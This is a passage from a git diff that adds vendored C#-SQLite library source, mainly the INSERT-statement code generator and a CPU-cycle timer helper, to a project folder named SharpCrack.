** The following routine only works on pentium-class (or newer) processors. + ** It uses the RDTSC opcode to read the cycle count value out of the + ** processor and returns that value. This can be used for high-res + ** profiling. + */ +#if ((__GNUC__) || (_MSC_VER)) && ((i386) || (__i386__) || (_M_IX86)) + +#if (__GNUC__) + +__inline__ sqlite_u3264 sqlite3Hwtime(void){ +unsigned int lo, hi; +__asm__ __volatile__ ("rdtsc" : "=a" (lo), "=d" (hi)); +return (sqlite_u3264)hi << 32 | lo; +} + +#elif (_MSC_VER) + +__declspec(naked) __inline sqlite_u3264 __cdecl sqlite3Hwtime(void){ +__asm { +rdtsc +ret ; return value at EDX:EAX +} +} + +#endif + +#elif ((__GNUC__) && (__x86_64__)) + +__inline__ sqlite_u3264 sqlite3Hwtime(void){ +unsigned long val; +__asm__ __volatile__ ("rdtsc" : "=A" (val)); +return val; +} + +#elif ( (__GNUC__) && (__ppc__)) + +__inline__ sqlite_u3264 sqlite3Hwtime(void){ +unsigned long long retval; +unsigned long junk; +__asm__ __volatile__ ("\n\ +1: mftbu %1\n\ +mftb %L0\n\ +mftbu %0\n\ +cmpw %0,%1\n\ +bne 1b" +: "=r" (retval), "=r" (junk)); +return retval; +} + +#else + + //#error Need implementation of sqlite3Hwtime() for your platform. + + /* + ** To compile without implementing sqlite3Hwtime() for your platform, + ** you can remove the above #error and use the following + ** stub function. You will lose timing support for many + ** of the debugging and testing utilities, but it should at + ** least compile and run. + */ + static sqlite_u3264 sqlite3Hwtime() + { + return (sqlite_u3264)System.DateTime.Now.Ticks; + }// (sqlite_u3264)0 ); } + +#endif + + //#endif //* !_HWTIME_H_) */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/insert_c.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/insert_c.cs new file mode 100644 index 0000000..656ef52 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/insert_c.cs @@ -0,0 +1,2173 @@ +using System; +using System.Diagnostics; +using System.Text; + +using Pgno = System.UInt32; +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains C code routines that are called by the parser + ** to handle INSERT statements in SQLite. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + /* + ** Generate code that will open a table for reading. + */ + static void sqlite3OpenTable( + Parse p, /* Generate code into this VDBE */ + int iCur, /* The cursor number of the table */ + int iDb, /* The database index in sqlite3.aDb[] */ + Table pTab, /* The table to be opened */ + int opcode /* OP_OpenRead or OP_OpenWrite */ + ) + { + Vdbe v; + if ( IsVirtual( pTab ) ) + return; + v = sqlite3GetVdbe( p ); + Debug.Assert( opcode == OP_OpenWrite || opcode == OP_OpenRead ); + sqlite3TableLock( p, iDb, pTab.tnum, ( opcode == OP_OpenWrite ) ? (byte)1 : (byte)0, pTab.zName ); + sqlite3VdbeAddOp3( v, opcode, iCur, pTab.tnum, iDb ); + sqlite3VdbeChangeP4( v, -1, ( pTab.nCol ), P4_INT32 );//SQLITE_INT_TO_PTR( pTab.nCol ), P4_INT32 ); + VdbeComment( v, "%s", pTab.zName ); + } + + /* + ** Return a pointer to the column affinity string associated with index + ** pIdx. A column affinity string has one character for each column in + ** the table, according to the affinity of the column: + ** + ** Character Column affinity + ** ------------------------------ + ** 'a' TEXT + ** 'b' NONE + ** 'c' NUMERIC + ** 'd' INTEGER + ** 'e' REAL + ** + ** An extra 'b' is appended to the end of the string to cover the + ** rowid that appears as the last column in every index. + ** + ** Memory for the buffer containing the column index affinity string + ** is managed along with the rest of the Index structure. It will be + ** released when sqlite3DeleteIndex() is called. + */ + static string sqlite3IndexAffinityStr( Vdbe v, Index pIdx ) + { + if ( pIdx.zColAff == null || pIdx.zColAff[0] == '\0' ) + { + /* The first time a column affinity string for a particular index is + ** required, it is allocated and populated here. It is then stored as + ** a member of the Index structure for subsequent use. + ** + ** The column affinity string will eventually be deleted by + ** sqliteDeleteIndex() when the Index structure itself is cleaned + ** up. + */ + int n; + Table pTab = pIdx.pTable; + sqlite3 db = sqlite3VdbeDb( v ); + StringBuilder pIdx_zColAff = new StringBuilder( pIdx.nColumn + 2 );// (char )sqlite3DbMallocRaw(0, pIdx->nColumn+2); + // if ( pIdx_zColAff == null ) + // { + // db.mallocFailed = 1; + // return null; + // } + for ( n = 0; n < pIdx.nColumn; n++ ) + { + pIdx_zColAff.Append( pTab.aCol[pIdx.aiColumn[n]].affinity ); + } + pIdx_zColAff.Append( SQLITE_AFF_NONE ); + pIdx_zColAff.Append( '\0' ); + pIdx.zColAff = pIdx_zColAff.ToString(); + } + return pIdx.zColAff; + } + + /* + ** Set P4 of the most recently inserted opcode to a column affinity + ** string for table pTab. A column affinity string has one character + ** for each column indexed by the index, according to the affinity of the + ** column: + ** + ** Character Column affinity + ** ------------------------------ + ** 'a' TEXT + ** 'b' NONE + ** 'c' NUMERIC + ** 'd' INTEGER + ** 'e' REAL + */ + static void sqlite3TableAffinityStr( Vdbe v, Table pTab ) + { + /* The first time a column affinity string for a particular table + ** is required, it is allocated and populated here. It is then + ** stored as a member of the Table structure for subsequent use. + ** + ** The column affinity string will eventually be deleted by + ** sqlite3DeleteTable() when the Table structure itself is cleaned up. + */ + if ( pTab.zColAff == null ) + { + StringBuilder zColAff; + int i; + sqlite3 db = sqlite3VdbeDb( v ); + + zColAff = new StringBuilder( pTab.nCol + 1 );// (char)sqlite3DbMallocRaw(0, pTab->nCol+1); + if ( zColAff == null ) + { + //// db.mallocFailed = 1; + return; + } + + for ( i = 0; i < pTab.nCol; i++ ) + { + zColAff.Append( pTab.aCol[i].affinity ); + } + //zColAff.Append( '\0' ); + + pTab.zColAff = zColAff.ToString(); + } + + sqlite3VdbeChangeP4( v, -1, pTab.zColAff, P4_TRANSIENT ); + } + + /* + ** Return non-zero if the table pTab in database iDb or any of its indices + ** have been opened at any point in the VDBE program beginning at location + ** iStartAddr throught the end of the program. This is used to see if + ** a statement of the form "INSERT INTO SELECT ..." can + ** run without using temporary table for the results of the SELECT. + */ + static bool readsTable( Parse p, int iStartAddr, int iDb, Table pTab ) + { + Vdbe v = sqlite3GetVdbe( p ); + int i; + int iEnd = sqlite3VdbeCurrentAddr( v ); +#if !SQLITE_OMIT_VIRTUALTABLE + VTable pVTab = IsVirtual( pTab ) ? sqlite3GetVTable( p.db, pTab ) : null; +#endif + + for ( i = iStartAddr; i < iEnd; i++ ) + { + VdbeOp pOp = sqlite3VdbeGetOp( v, i ); + Debug.Assert( pOp != null ); + if ( pOp.opcode == OP_OpenRead && pOp.p3 == iDb ) + { + Index pIndex; + int tnum = pOp.p2; + if ( tnum == pTab.tnum ) + { + return true; + } + for ( pIndex = pTab.pIndex; pIndex != null; pIndex = pIndex.pNext ) + { + if ( tnum == pIndex.tnum ) + { + return true; + } + } + } +#if !SQLITE_OMIT_VIRTUALTABLE + if ( pOp.opcode == OP_VOpen && pOp.p4.pVtab == pVTab ) + { + Debug.Assert( pOp.p4.pVtab != null ); + Debug.Assert( pOp.p4type == P4_VTAB ); + return true; + } +#endif + } + return false; + } + +#if !SQLITE_OMIT_AUTOINCREMENT + /* +** Locate or create an AutoincInfo structure associated with table pTab +** which is in database iDb. Return the register number for the register +** that holds the maximum rowid. +** +** There is at most one AutoincInfo structure per table even if the +** same table is autoincremented multiple times due to inserts within +** triggers. A new AutoincInfo structure is created if this is the +** first use of table pTab. On 2nd and subsequent uses, the original +** AutoincInfo structure is used. +** +** Three memory locations are allocated: +** +** (1) Register to hold the name of the pTab table. +** (2) Register to hold the maximum ROWID of pTab. +** (3) Register to hold the rowid in sqlite_sequence of pTab +** +** The 2nd register is the one that is returned. That is all the +** insert routine needs to know about. +*/ + static int autoIncBegin( + Parse pParse, /* Parsing context */ + int iDb, /* Index of the database holding pTab */ + Table pTab /* The table we are writing to */ + ) + { + int memId = 0; /* Register holding maximum rowid */ + if ( ( pTab.tabFlags & TF_Autoincrement ) != 0 ) + { + Parse pToplevel = sqlite3ParseToplevel( pParse ); + AutoincInfo pInfo; + + pInfo = pToplevel.pAinc; + while ( pInfo != null && pInfo.pTab != pTab ) + { + pInfo = pInfo.pNext; + } + if ( pInfo == null ) + { + pInfo = new AutoincInfo();//sqlite3DbMallocRaw(pParse.db, sizeof(*pInfo)); + //if( pInfo==0 ) return 0; + pInfo.pNext = pToplevel.pAinc; + pToplevel.pAinc = pInfo; + pInfo.pTab = pTab; + pInfo.iDb = iDb; + pToplevel.nMem++; /* Register to hold name of table */ + pInfo.regCtr = ++pToplevel.nMem; /* Max rowid register */ + pToplevel.nMem++; /* Rowid in sqlite_sequence */ + } + memId = pInfo.regCtr; + } + return memId; + } + + /* + ** This routine generates code that will initialize all of the + ** register used by the autoincrement tracker. + */ + static void sqlite3AutoincrementBegin( Parse pParse ) + { + AutoincInfo p; /* Information about an AUTOINCREMENT */ + sqlite3 db = pParse.db; /* The database connection */ + Db pDb; /* Database only autoinc table */ + int memId; /* Register holding max rowid */ + int addr; /* A VDBE address */ + Vdbe v = pParse.pVdbe; /* VDBE under construction */ + + /* This routine is never called during trigger-generation. It is + ** only called from the top-level */ + Debug.Assert( pParse.pTriggerTab == null ); + Debug.Assert( pParse == sqlite3ParseToplevel( pParse ) ); + + Debug.Assert( v != null ); /* We failed long ago if this is not so */ + for ( p = pParse.pAinc; p != null; p = p.pNext ) + { + pDb = db.aDb[p.iDb]; + memId = p.regCtr; + Debug.Assert( sqlite3SchemaMutexHeld( db, 0, pDb.pSchema ) ); + sqlite3OpenTable( pParse, 0, p.iDb, pDb.pSchema.pSeqTab, OP_OpenRead ); + addr = sqlite3VdbeCurrentAddr( v ); + sqlite3VdbeAddOp4( v, OP_String8, 0, memId - 1, 0, p.pTab.zName, 0 ); + sqlite3VdbeAddOp2( v, OP_Rewind, 0, addr + 9 ); + sqlite3VdbeAddOp3( v, OP_Column, 0, 0, memId ); + sqlite3VdbeAddOp3( v, OP_Ne, memId - 1, addr + 7, memId ); + sqlite3VdbeChangeP5( v, SQLITE_JUMPIFNULL ); + sqlite3VdbeAddOp2( v, OP_Rowid, 0, memId + 1 ); + sqlite3VdbeAddOp3( v, OP_Column, 0, 1, memId ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, addr + 9 ); + sqlite3VdbeAddOp2( v, OP_Next, 0, addr + 2 ); + sqlite3VdbeAddOp2( v, OP_Integer, 0, memId ); + sqlite3VdbeAddOp0( v, OP_Close ); + } + } + + /* + ** Update the maximum rowid for an autoincrement calculation. + ** + ** This routine should be called when the top of the stack holds a + ** new rowid that is about to be inserted. If that new rowid is + ** larger than the maximum rowid in the memId memory cell, then the + ** memory cell is updated. The stack is unchanged. + */ + static void autoIncStep( Parse pParse, int memId, int regRowid ) + { + if ( memId > 0 ) + { + sqlite3VdbeAddOp2( pParse.pVdbe, OP_MemMax, memId, regRowid ); + } + } + + /* + ** This routine generates the code needed to write autoincrement + ** maximum rowid values back into the sqlite_sequence register. + ** Every statement that might do an INSERT into an autoincrement + ** table (either directly or through triggers) needs to call this + ** routine just before the "exit" code. + */ + static void sqlite3AutoincrementEnd( Parse pParse ) + { + AutoincInfo p; + Vdbe v = pParse.pVdbe; + sqlite3 db = pParse.db; + + Debug.Assert( v != null ); + for ( p = pParse.pAinc; p != null; p = p.pNext ) + { + Db pDb = db.aDb[p.iDb]; + int j1, j2, j3, j4, j5; + int iRec; + int memId = p.regCtr; + + iRec = sqlite3GetTempReg( pParse ); + Debug.Assert( sqlite3SchemaMutexHeld( db, 0, pDb.pSchema ) ); + sqlite3OpenTable( pParse, 0, p.iDb, pDb.pSchema.pSeqTab, OP_OpenWrite ); + j1 = sqlite3VdbeAddOp1( v, OP_NotNull, memId + 1 ); + j2 = sqlite3VdbeAddOp0( v, OP_Rewind ); + j3 = sqlite3VdbeAddOp3( v, OP_Column, 0, 0, iRec ); + j4 = sqlite3VdbeAddOp3( v, OP_Eq, memId - 1, 0, iRec ); + sqlite3VdbeAddOp2( v, OP_Next, 0, j3 ); + sqlite3VdbeJumpHere( v, j2 ); + sqlite3VdbeAddOp2( v, OP_NewRowid, 0, memId + 1 ); + j5 = sqlite3VdbeAddOp0( v, OP_Goto ); + sqlite3VdbeJumpHere( v, j4 ); + sqlite3VdbeAddOp2( v, OP_Rowid, 0, memId + 1 ); + sqlite3VdbeJumpHere( v, j1 ); + sqlite3VdbeJumpHere( v, j5 ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, memId - 1, 2, iRec ); + sqlite3VdbeAddOp3( v, OP_Insert, 0, iRec, memId + 1 ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + sqlite3VdbeAddOp0( v, OP_Close ); + sqlite3ReleaseTempReg( pParse, iRec ); + } + } +#else +/* +** If SQLITE_OMIT_AUTOINCREMENT is defined, then the three routines +** above are all no-ops +*/ +//# define autoIncBegin(A,B,C) (0) +//# define autoIncStep(A,B,C) +#endif // * SQLITE_OMIT_AUTOINCREMENT */ + + + /* Forward declaration */ + //static int xferOptimization( + // Parse pParse, /* Parser context */ + // Table pDest, /* The table we are inserting into */ + // Select pSelect, /* A SELECT statement to use as the data source */ + // int onError, /* How to handle constraint errors */ + // int iDbDest /* The database of pDest */ + //); + + /* + ** This routine is call to handle SQL of the following forms: + ** + ** insert into TABLE (IDLIST) values(EXPRLIST) + ** insert into TABLE (IDLIST) select + ** + ** The IDLIST following the table name is always optional. If omitted, + ** then a list of all columns for the table is substituted. The IDLIST + ** appears in the pColumn parameter. pColumn is NULL if IDLIST is omitted. + ** + ** The pList parameter holds EXPRLIST in the first form of the INSERT + ** statement above, and pSelect is NULL. For the second form, pList is + ** NULL and pSelect is a pointer to the select statement used to generate + ** data for the insert. + ** + ** The code generated follows one of four templates. For a simple + ** select with data coming from a VALUES clause, the code executes + ** once straight down through. Pseudo-code follows (we call this + ** the "1st template"): + ** + ** open write cursor to
and its indices + ** puts VALUES clause expressions onto the stack + ** write the resulting record into
+ ** cleanup + ** + ** The three remaining templates assume the statement is of the form + ** + ** INSERT INTO
SELECT ... + ** + ** If the SELECT clause is of the restricted form "SELECT * FROM " - + ** in other words if the SELECT pulls all columns from a single table + ** and there is no WHERE or LIMIT or GROUP BY or ORDER BY clauses, and + ** if and are distinct tables but have identical + ** schemas, including all the same indices, then a special optimization + ** is invoked that copies raw records from over to . + ** See the xferOptimization() function for the implementation of this + ** template. This is the 2nd template. + ** + ** open a write cursor to
+ ** open read cursor on + ** transfer all records in over to
+ ** close cursors + ** foreach index on
+ ** open a write cursor on the
index + ** open a read cursor on the corresponding index + ** transfer all records from the read to the write cursors + ** close cursors + ** end foreach + ** + ** The 3rd template is for when the second template does not apply + ** and the SELECT clause does not read from
at any time. + ** The generated code follows this template: + ** + ** EOF <- 0 + ** X <- A + ** goto B + ** A: setup for the SELECT + ** loop over the rows in the SELECT + ** load values into registers R..R+n + ** yield X + ** end loop + ** cleanup after the SELECT + ** EOF <- 1 + ** yield X + ** goto A + ** B: open write cursor to
and its indices + ** C: yield X + ** if EOF goto D + ** insert the select result into
from R..R+n + ** goto C + ** D: cleanup + ** + ** The 4th template is used if the insert statement takes its + ** values from a SELECT but the data is being inserted into a table + ** that is also read as part of the SELECT. In the third form, + ** we have to use a intermediate table to store the results of + ** the select. The template is like this: + ** + ** EOF <- 0 + ** X <- A + ** goto B + ** A: setup for the SELECT + ** loop over the tables in the SELECT + ** load value into register R..R+n + ** yield X + ** end loop + ** cleanup after the SELECT + ** EOF <- 1 + ** yield X + ** halt-error + ** B: open temp table + ** L: yield X + ** if EOF goto M + ** insert row from R..R+n into temp table + ** goto L + ** M: open write cursor to
and its indices + ** rewind temp table + ** C: loop over rows of intermediate table + ** transfer values form intermediate table into
+ ** end loop + ** D: cleanup + */ + // OVERLOADS, so I don't need to rewrite parse.c + static void sqlite3Insert( Parse pParse, SrcList pTabList, int null_3, int null_4, IdList pColumn, int onError ) + { + sqlite3Insert( pParse, pTabList, null, null, pColumn, onError ); + } + static void sqlite3Insert( Parse pParse, SrcList pTabList, int null_3, Select pSelect, IdList pColumn, int onError ) + { + sqlite3Insert( pParse, pTabList, null, pSelect, pColumn, onError ); + } + static void sqlite3Insert( Parse pParse, SrcList pTabList, ExprList pList, int null_4, IdList pColumn, int onError ) + { + sqlite3Insert( pParse, pTabList, pList, null, pColumn, onError ); + } + static void sqlite3Insert( + Parse pParse, /* Parser context */ + SrcList pTabList, /* Name of table into which we are inserting */ + ExprList pList, /* List of values to be inserted */ + Select pSelect, /* A SELECT statement to use as the data source */ + IdList pColumn, /* Column names corresponding to IDLIST. */ + int onError /* How to handle constraint errors */ + ) + { + sqlite3 db; /* The main database structure */ + Table pTab; /* The table to insert into. aka TABLE */ + string zTab; /* Name of the table into which we are inserting */ + string zDb; /* Name of the database holding this table */ + int i = 0; + int j = 0; + int idx = 0; /* Loop counters */ + Vdbe v; /* Generate code into this virtual machine */ + Index pIdx; /* For looping over indices of the table */ + int nColumn; /* Number of columns in the data */ + int nHidden = 0; /* Number of hidden columns if TABLE is virtual */ + int baseCur = 0; /* VDBE VdbeCursor number for pTab */ + int keyColumn = -1; /* Column that is the INTEGER PRIMARY KEY */ + int endOfLoop = 0; /* Label for the end of the insertion loop */ + bool useTempTable = false; /* Store SELECT results in intermediate table */ + int srcTab = 0; /* Data comes from this temporary cursor if >=0 */ + int addrInsTop = 0; /* Jump to label "D" */ + int addrCont = 0; /* Top of insert loop. Label "C" in templates 3 and 4 */ + int addrSelect = 0; /* Address of coroutine that implements the SELECT */ + SelectDest dest; /* Destination for SELECT on rhs of INSERT */ + int iDb; /* Index of database holding TABLE */ + Db pDb; /* The database containing table being inserted into */ + bool appendFlag = false; /* True if the insert is likely to be an append */ + + /* Register allocations */ + int regFromSelect = 0; /* Base register for data coming from SELECT */ + int regAutoinc = 0; /* Register holding the AUTOINCREMENT counter */ + int regRowCount = 0; /* Memory cell used for the row counter */ + int regIns; /* Block of regs holding rowid+data being inserted */ + int regRowid; /* registers holding insert rowid */ + int regData; /* register holding first column to insert */ + int regEof = 0; /* Register recording end of SELECT data */ + int[] aRegIdx = null; /* One register allocated to each index */ + + +#if !SQLITE_OMIT_TRIGGER + bool isView = false; /* True if attempting to insert into a view */ + Trigger pTrigger; /* List of triggers on pTab, if required */ + int tmask = 0; /* Mask of trigger times */ +#endif + + db = pParse.db; + dest = new SelectDest();// memset( &dest, 0, sizeof( dest ) ); + + if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) + { + goto insert_cleanup; + } + + /* Locate the table into which we will be inserting new information. + */ + Debug.Assert( pTabList.nSrc == 1 ); + zTab = pTabList.a[0].zName; + if ( NEVER( zTab == null ) ) + goto insert_cleanup; + pTab = sqlite3SrcListLookup( pParse, pTabList ); + if ( pTab == null ) + { + goto insert_cleanup; + } + iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); + Debug.Assert( iDb < db.nDb ); + pDb = db.aDb[iDb]; + zDb = pDb.zName; +#if NO_SQLITE_OMIT_AUTHORIZATION //#if !SQLITE_OMIT_AUTHORIZATION +if( sqlite3AuthCheck(pParse, SQLITE_INSERT, pTab.zName, 0, zDb) ){ +goto insert_cleanup; +} +#endif + /* Figure out if we have any triggers and if the table being +** inserted into is a view +*/ +#if !SQLITE_OMIT_TRIGGER + pTrigger = sqlite3TriggersExist( pParse, pTab, TK_INSERT, null, out tmask ); + isView = pTab.pSelect != null; +#else + Trigger pTrigger = null; //# define pTrigger 0 + int tmask = 0; //# define tmask 0 + bool isView = false; +#endif +#if SQLITE_OMIT_VIEW +//# undef isView +isView = false; +#endif +#if !SQLITE_OMIT_TRIGGER + Debug.Assert( ( pTrigger != null && tmask != 0 ) || ( pTrigger == null && tmask == 0 ) ); +#endif + +#if !SQLITE_OMIT_VIEW + /* If pTab is really a view, make sure it has been initialized. + ** ViewGetColumnNames() is a no-op if pTab is not a view (or virtual + ** module table). + */ + if ( sqlite3ViewGetColumnNames( pParse, pTab ) != -0 ) + { + goto insert_cleanup; + } +#endif + + /* Ensure that: + * (a) the table is not read-only, + * (b) that if it is a view then ON INSERT triggers exist + */ + if ( sqlite3IsReadOnly( pParse, pTab, tmask ) ) + { + goto insert_cleanup; + } + + /* Allocate a VDBE + */ + v = sqlite3GetVdbe( pParse ); + if ( v == null ) + goto insert_cleanup; + if ( pParse.nested == 0 ) + sqlite3VdbeCountChanges( v ); + sqlite3BeginWriteOperation( pParse, ( pSelect != null || pTrigger != null ) ? 1 : 0, iDb ); + +#if !SQLITE_OMIT_XFER_OPT + /* If the statement is of the form +** +** INSERT INTO SELECT * FROM ; +** +** Then special optimizations can be applied that make the transfer +** very fast and which reduce fragmentation of indices. +** +** This is the 2nd template. +*/ + if ( pColumn == null && xferOptimization( pParse, pTab, pSelect, onError, iDb ) != 0 ) + { + Debug.Assert( null == pTrigger ); + Debug.Assert( pList == null ); + goto insert_end; + } +#endif // * SQLITE_OMIT_XFER_OPT */ + + /* If this is an AUTOINCREMENT table, look up the sequence number in the +** sqlite_sequence table and store it in memory cell regAutoinc. +*/ + regAutoinc = autoIncBegin( pParse, iDb, pTab ); + + /* Figure out how many columns of data are supplied. If the data + ** is coming from a SELECT statement, then generate a co-routine that + ** produces a single row of the SELECT on each invocation. The + ** co-routine is the common header to the 3rd and 4th templates. + */ + if ( pSelect != null ) + { + /* Data is coming from a SELECT. Generate code to implement that SELECT + ** as a co-routine. The code is common to both the 3rd and 4th + ** templates: + ** + ** EOF <- 0 + ** X <- A + ** goto B + ** A: setup for the SELECT + ** loop over the tables in the SELECT + ** load value into register R..R+n + ** yield X + ** end loop + ** cleanup after the SELECT + ** EOF <- 1 + ** yield X + ** halt-error + ** + ** On each invocation of the co-routine, it puts a single row of the + ** SELECT result into registers dest.iMem...dest.iMem+dest.nMem-1. + ** (These output registers are allocated by sqlite3Select().) When + ** the SELECT completes, it sets the EOF flag stored in regEof. + */ + int rc = 0, j1; + + regEof = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Integer, 0, regEof ); /* EOF <- 0 */ +#if SQLITE_DEBUG + VdbeComment( v, "SELECT eof flag" ); +#endif + sqlite3SelectDestInit( dest, SRT_Coroutine, ++pParse.nMem ); + addrSelect = sqlite3VdbeCurrentAddr( v ) + 2; + sqlite3VdbeAddOp2( v, OP_Integer, addrSelect - 1, dest.iParm ); + j1 = sqlite3VdbeAddOp2( v, OP_Goto, 0, 0 ); +#if SQLITE_DEBUG + VdbeComment( v, "Jump over SELECT coroutine" ); +#endif + /* Resolve the expressions in the SELECT statement and execute it. */ + rc = sqlite3Select( pParse, pSelect, ref dest ); + Debug.Assert( pParse.nErr == 0 || rc != 0 ); + if ( rc != 0 || NEVER( pParse.nErr != 0 ) /*|| db.mallocFailed != 0 */ ) + { + goto insert_cleanup; + } + sqlite3VdbeAddOp2( v, OP_Integer, 1, regEof ); /* EOF <- 1 */ + sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm ); /* yield X */ + sqlite3VdbeAddOp2( v, OP_Halt, SQLITE_INTERNAL, OE_Abort ); +#if SQLITE_DEBUG + VdbeComment( v, "End of SELECT coroutine" ); +#endif + sqlite3VdbeJumpHere( v, j1 ); /* label B: */ + + regFromSelect = dest.iMem; + Debug.Assert( pSelect.pEList != null ); + nColumn = pSelect.pEList.nExpr; + Debug.Assert( dest.nMem == nColumn ); + + /* Set useTempTable to TRUE if the result of the SELECT statement + ** should be written into a temporary table (template 4). Set to + ** FALSE if each* row of the SELECT can be written directly into + ** the destination table (template 3). + ** + ** A temp table must be used if the table being updated is also one + ** of the tables being read by the SELECT statement. Also use a + ** temp table in the case of row triggers. + */ + if ( pTrigger != null || readsTable( pParse, addrSelect, iDb, pTab ) ) + { + useTempTable = true; + } + + if ( useTempTable ) + { + /* Invoke the coroutine to extract information from the SELECT + ** and add it to a transient table srcTab. The code generated + ** here is from the 4th template: + ** + ** B: open temp table + ** L: yield X + ** if EOF goto M + ** insert row from R..R+n into temp table + ** goto L + ** M: ... + */ + int regRec; /* Register to hold packed record */ + int regTempRowid; /* Register to hold temp table ROWID */ + int addrTop; /* Label "L" */ + int addrIf; /* Address of jump to M */ + + srcTab = pParse.nTab++; + regRec = sqlite3GetTempReg( pParse ); + regTempRowid = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_OpenEphemeral, srcTab, nColumn ); + addrTop = sqlite3VdbeAddOp1( v, OP_Yield, dest.iParm ); + addrIf = sqlite3VdbeAddOp1( v, OP_If, regEof ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regFromSelect, nColumn, regRec ); + sqlite3VdbeAddOp2( v, OP_NewRowid, srcTab, regTempRowid ); + sqlite3VdbeAddOp3( v, OP_Insert, srcTab, regRec, regTempRowid ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, addrTop ); + sqlite3VdbeJumpHere( v, addrIf ); + sqlite3ReleaseTempReg( pParse, regRec ); + sqlite3ReleaseTempReg( pParse, regTempRowid ); + } + } + else + { + /* This is the case if the data for the INSERT is coming from a VALUES + ** clause + */ + NameContext sNC; + sNC = new NameContext();// memset( &sNC, 0, sNC ).Length; + sNC.pParse = pParse; + srcTab = -1; + Debug.Assert( !useTempTable ); + nColumn = pList != null ? pList.nExpr : 0; + for ( i = 0; i < nColumn; i++ ) + { + if ( sqlite3ResolveExprNames( sNC, ref pList.a[i].pExpr ) != 0 ) + { + goto insert_cleanup; + } + } + } + + /* Make sure the number of columns in the source data matches the number + ** of columns to be inserted into the table. + */ + if ( IsVirtual( pTab ) ) + { + for ( i = 0; i < pTab.nCol; i++ ) + { + nHidden += ( IsHiddenColumn( pTab.aCol[i] ) ? 1 : 0 ); + } + } + if ( pColumn == null && nColumn != 0 && nColumn != ( pTab.nCol - nHidden ) ) + { + sqlite3ErrorMsg( pParse, + "table %S has %d columns but %d values were supplied", + pTabList, 0, pTab.nCol - nHidden, nColumn ); + goto insert_cleanup; + } + if ( pColumn != null && nColumn != pColumn.nId ) + { + sqlite3ErrorMsg( pParse, "%d values for %d columns", nColumn, pColumn.nId ); + goto insert_cleanup; + } + + /* If the INSERT statement included an IDLIST term, then make sure + ** all elements of the IDLIST really are columns of the table and + ** remember the column indices. + ** + ** If the table has an INTEGER PRIMARY KEY column and that column + ** is named in the IDLIST, then record in the keyColumn variable + ** the index into IDLIST of the primary key column. keyColumn is + ** the index of the primary key as it appears in IDLIST, not as + ** is appears in the original table. (The index of the primary + ** key in the original table is pTab.iPKey.) + */ + if ( pColumn != null ) + { + for ( i = 0; i < pColumn.nId; i++ ) + { + pColumn.a[i].idx = -1; + } + for ( i = 0; i < pColumn.nId; i++ ) + { + for ( j = 0; j < pTab.nCol; j++ ) + { + if ( pColumn.a[i].zName.Equals( pTab.aCol[j].zName ,StringComparison.InvariantCultureIgnoreCase ) ) + { + pColumn.a[i].idx = j; + if ( j == pTab.iPKey ) + { + keyColumn = i; + } + break; + } + } + if ( j >= pTab.nCol ) + { + if ( sqlite3IsRowid( pColumn.a[i].zName ) ) + { + keyColumn = i; + } + else + { + sqlite3ErrorMsg( pParse, "table %S has no column named %s", + pTabList, 0, pColumn.a[i].zName ); + pParse.checkSchema = 1; + goto insert_cleanup; + } + } + } + } + + /* If there is no IDLIST term but the table has an integer primary + ** key, the set the keyColumn variable to the primary key column index + ** in the original table definition. + */ + if ( pColumn == null && nColumn > 0 ) + { + keyColumn = pTab.iPKey; + } + + /* Initialize the count of rows to be inserted + */ + if ( ( db.flags & SQLITE_CountRows ) != 0 ) + { + regRowCount = ++pParse.nMem; + sqlite3VdbeAddOp2( v, OP_Integer, 0, regRowCount ); + } + + /* If this is not a view, open the table and and all indices */ + if ( !isView ) + { + int nIdx; + + baseCur = pParse.nTab; + nIdx = sqlite3OpenTableAndIndices( pParse, pTab, baseCur, OP_OpenWrite ); + aRegIdx = new int[nIdx + 1];// sqlite3DbMallocRaw( db, sizeof( int ) * ( nIdx + 1 ) ); + if ( aRegIdx == null ) + { + goto insert_cleanup; + } + for ( i = 0; i < nIdx; i++ ) + { + aRegIdx[i] = ++pParse.nMem; + } + } + + /* This is the top of the main insertion loop */ + if ( useTempTable ) + { + /* This block codes the top of loop only. The complete loop is the + ** following pseudocode (template 4): + ** + ** rewind temp table + ** C: loop over rows of intermediate table + ** transfer values form intermediate table into
+ ** end loop + ** D: ... + */ + addrInsTop = sqlite3VdbeAddOp1( v, OP_Rewind, srcTab ); + addrCont = sqlite3VdbeCurrentAddr( v ); + } + else if ( pSelect != null ) + { + /* This block codes the top of loop only. The complete loop is the + ** following pseudocode (template 3): + ** + ** C: yield X + ** if EOF goto D + ** insert the select result into
